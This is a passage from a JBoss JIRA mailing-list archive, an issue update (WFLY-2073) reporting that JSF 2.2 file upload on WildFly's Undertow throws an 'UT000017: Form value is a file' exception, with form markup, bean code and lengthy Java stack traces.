	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	... 42 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 14 16:09:03 2013
From: jira-events at lists.jboss.org (alexandre xypas (JIRA))
Date: Sat, 14 Sep 2013 16:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2073) Uploading a file using JSF
 2.2 throws an exception
In-Reply-To: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500717.1379188731000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500717.1379188731000.26613.1379189343496@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2073?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

alexandre xypas updated WFLY-2073:
----------------------------------

    Description: 
Using JSF 2.2, the following should work:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.file}" required="true">
           <f:ajax listener="#{bean.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>

With the bean:

        private Part file; // +GET/SET

	public void handleFileUploadAjax(AjaxBehaviorEvent event) {
	    System.out.println("file size: " + part.getSize());
	    System.out.println("file type: " + part.getContentType());
	    System.out.println("file info: " + part.getHeader("Content-Disposition"));
	}

The problem remains without using Ajax.


but throws the following exception when a file is uploaded:

22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]

22:46:04,344 ERROR [io.undertow.request] (default task-3) Servlet request failed HttpServerExchange{ POST /doctor/doctorUpdates.xhtml}: javax.servlet.ServletException: UT000017: Form value is a file, use getFile() instead
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	... 42 more

  was:
Using JSF 2.2, the following should work:

<h:form enctype="multipart/form-data">
      <h:inputFile value="#{bean.part}" required="true">
           <f:ajax listener="#{doctorProfileController.handleFileUploadAjax}" render="@form" />
      </h:inputFile>
      <h:messages />
 </h:form>


but throws the following exception when a file is uploaded:

22:46:04,333 WARNING [javax.enterprise.resource.webcontainer.jsf.lifecycle] (default task-3) UT000017: Form value is a file, use getFile() instead: java.lang.IllegalStateException: UT000017: Form value is a file, use getFile() instead
	at io.undertow.server.handlers.form.FormData$FormValueImpl.getValue(FormData.java:206) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.spec.HttpServletRequestImpl.getParameter(HttpServletRequestImpl.java:576) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at javax.servlet.ServletRequestWrapper.getParameter(ServletRequestWrapper.java:194) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
	at com.sun.faces.context.RequestParameterMap.containsKey(RequestParameterMap.java:99) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at java.util.Collections$UnmodifiableMap.containsKey(Collections.java:1337) [rt.jar:1.7.0_40]
	at com.sun.faces.renderkit.html_basic.FileRenderer.decode(FileRenderer.java:85) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.component.UIComponentBase.decode(UIComponentBase.java:831) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.decode(UIInput.java:771) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIInput.processDecodes(UIInput.java:676) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIForm.processDecodes(UIForm.java:225) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIComponentBase.processDecodes(UIComponentBase.java:1220) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at javax.faces.component.UIViewRoot.processDecodes(UIViewRoot.java:929) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at com.sun.faces.lifecycle.ApplyRequestValuesPhase.execute(ApplyRequestValuesPhase.java:78) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:208) [javamelody-core-1.46.0.jar:1.46.0]
	at net.bull.javamelody.MonitoringFilter.doFilter(MonitoringFilter.java:181) [javamelody-core-1.46.0.jar:1.46.0]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.xypas.filter.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28) [classes:]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:70) [primefaces-4.0-SNAPSHOT.jar:4.0-SNAPSHOT]
	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
	at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145) [prettyfaces-jsf2-3.3.3.jar:]
